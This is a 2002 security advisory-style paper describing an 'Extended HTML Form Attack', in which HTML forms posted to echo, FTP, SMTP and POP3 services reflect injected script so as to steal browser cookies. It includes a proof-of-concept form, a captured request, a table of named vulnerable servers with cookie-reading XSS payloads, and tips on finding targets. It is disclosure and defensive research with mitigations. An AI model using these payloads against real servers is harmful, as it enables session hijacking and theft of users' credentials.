[Extended HTML Form Attack]

last update: 26.January.2002

Making use of Non-HTTP protocols to launch Cross Site Scripting attacks.

Obscure [obscure@eyeonsecurity.net]

EyeonSecurity.
http://eyeonsecurity.net

[Introduction]

This paper will talk about a new way to inject HTML scripts, which makes use of the same method described in the paper by Jochen Topf called “The HTML Form Protocol Attack”. This novel method of injecting Active Scripts allows a person, who has knowledge of the services running on a network, to steal cookies, which can possibly mean hijacking of Web Application authentication as well as other sensitive information stored in cookies.

[The Original HTML form attack]

The research done by Jochen Topf shows how HTML forms can be used to penetrate internal networks from a site outside that network, by making use of well-known features of the HTTP protocol.

While the paper by Jochen Topf describes possibilities of sending commands to internal servers, it does not take into account what gets displayed in on client web browser. Instead it covers the fact that attackers may penetrate an internal network, or servers, which make use of IP filters, by abusing the HTML Form.

This paper is available on
http://www.remote.org/jochen/sec/hfpa/

[Cross Site Scripting (XSS)]

A recently discovered security problem involves modifying HTML content by inserting malicious HTML tags or script. By inserting Active Scripting, it is possible to steal session authentication of a web application. While this problem has been around for years, it’s only been publicised in the recent years. “**Microsoft Passport Account Hijack Attack”**, also on EyeonSecurity.net, is a paper which describes XSS attacks by example.

CERT has also published an advisory:
http://www.cert.org/advisories/CA-2000-02.html

[Playing with error messages and replies]

The ECHO service running on port 7 is a classic example of a service which replies back to what you specify.

```
G:\>nc -v server 7
server [172.16.1.3] 7 (echo) open
hi there !
hi there !
^C
G:\>
```

Sending “hi there” to an ECHO server, will send back a “hi there” reply. What if I make use of an HTML Form, and point it at the echo server?

The source of the page:

```
<form name="form1" method="post" action="http://echo-
server:7/" enctype="text/plain">
  <textarea name="eostest">
<html> <script>alert()</script>
  </textarea>
  <input type="submit" value="Submit">
</form>
```

The end result when the form is submitted looks something like:

```
POST / HTTP/1.1
POST / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept-Language: en-gb
Accept-Language: en-gb
Content-Type: text/plain
Content-Type: text/plain
Accept-Encoding: gzip, deflate
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: 172.16.130.1:1212
Host: 172.16.130.1:1212
Content-Length: 45
Content-Length: 45
Connection: Keep-Alive
Connection: Keep-Alive
Cache-Control: no-cache
Cache-Control: no-cache


eostest=<html> <script>alert(document.cookie)</script>
eostest=<html> <script>alert(document.cookie)</script>
```

Of course everything is echoed back (**RFC 862**). This sometimes (tested in Internet Explorer 5.x and 6) causes the JavaScript code to be rendered within an html page – which is made out of the echoed replies of the server.

A server running a Web Application (such as Web-Mail) and an echo server is therefore obviously vulnerable to a XSS attack, which I describe as Extended HTML Form Attack.

However many servers will not be running the echo service, since this is only used for testing purposes mostly. On the other hand it is very frequent that they will have other server software such as SMTP, FTP, NNTP and POP3. All of these services tend to echo back some information specified by the client, depending on the implementation of the protocol by the server developers and the settings specified by the server's administrator.

[Finding vulnerable hosts – what this exploit depends on]

If we want to use this vulnerability to hijack a Web Application the following requirements have to be satisfied:

1. The Web Application has to make use of cookie to keep the session alive.
2. A server which echoes back the attacker's input is on the same domain as the target Web Application
3. The victim user is using a vulnerable browser (IE5x/6 or Opera)
4. The victim user accesses an HTML page (website or e-mail) crafted by the attacker. An attacker with a target in mind will generally make use of an HTML e-mail and JavaScript to force the victim user submit the form.

The below is a list of servers which were actually successful in echoing back JavaScript commands to the web browser:

Vendor	Server	Commands	Example Command
Rhinosoft	Serv-U 3.0	MKD, GET	mkd <script>alert(document.cookie)</script>
WU-FTPD Development Group	WU-FTP	USER, MKD, GET, non-existant command + script as argument	user <script>alert(document.cookie)</script> and ASDF <script>alert(document.cookie)</script>
Ipswitch, Inc.	Imail 6.06	RCPT	rcpt to: img src=javascript:alert(document.cookie)
The ProFTPD Project.	ProFTPD	USER,MKD,GET	user <script>alert(document.cookie)</script>
Eudora	QPOP(3.1.2)	USER	user <script>alert(document.cookie)</script>

This list is not exclusive and many other servers can be used to launch this type of attack.

In my testing, I noticed that some vendors prevent this and other attacks by only allowing a certain amount of errors to be generated for each connection. In this case, since the HTTP request by the victim contains HTTP headers (i.e. POST /a.cgi HTTP/1.1 etc), many errors will be generated and the connection is terminated. This was found true on Microsoft SMTP server (part of IIS), and some other servers.

When searching for vulnerable servers, it is probably the easiest to use SMTP servers, since they show up in the MX records. Of course the other alternative is port scanning – for FTP, SMTP, POP3, and NNTP.

[What are the dangers?]

This attack mentioned here can be exploited in various ways. Till now we only mentioned how an attacker can use it to gather session cookies. In fact this is probably the most dangerous and easily exploitable method.

However it can also be used in conjunction with the HTML Form Attack described by Jochen Topf to return a result to the attacker. This way the attacker can actually know that his attack was executed by injecting JavaScript code, which in turn sends him back the resulting page.

[Solutions]

The solutions for this kind of attack are just like the ones mentioned in the original document "The HTML Form Protocol Attack". While Internet Explorer and Opera are

vulnerable to this attack, Netscape and Mozilla (without the proxy settings- i.e. direct connection) restrict access to certain well-known ports, like 25 (SMTP), 21 (FTP), 110 (POP3) and 119 (NNTP). While I do not think this is a server side issue, but rather a client side (web-browser) issue, servers could also limit the number of errors for each session.

[References]

The HTML Form Protocol Attack
http://www.remote.org/jochen/sec/hfpa/

Malicious HTML Tags Embedded in Client Web Requests
http://www.cert.org/advisories/CA-2000-02.html

Microsoft Passport Account Hijack Attack
http://eyeonsecurity.net/papers/passporthijack.html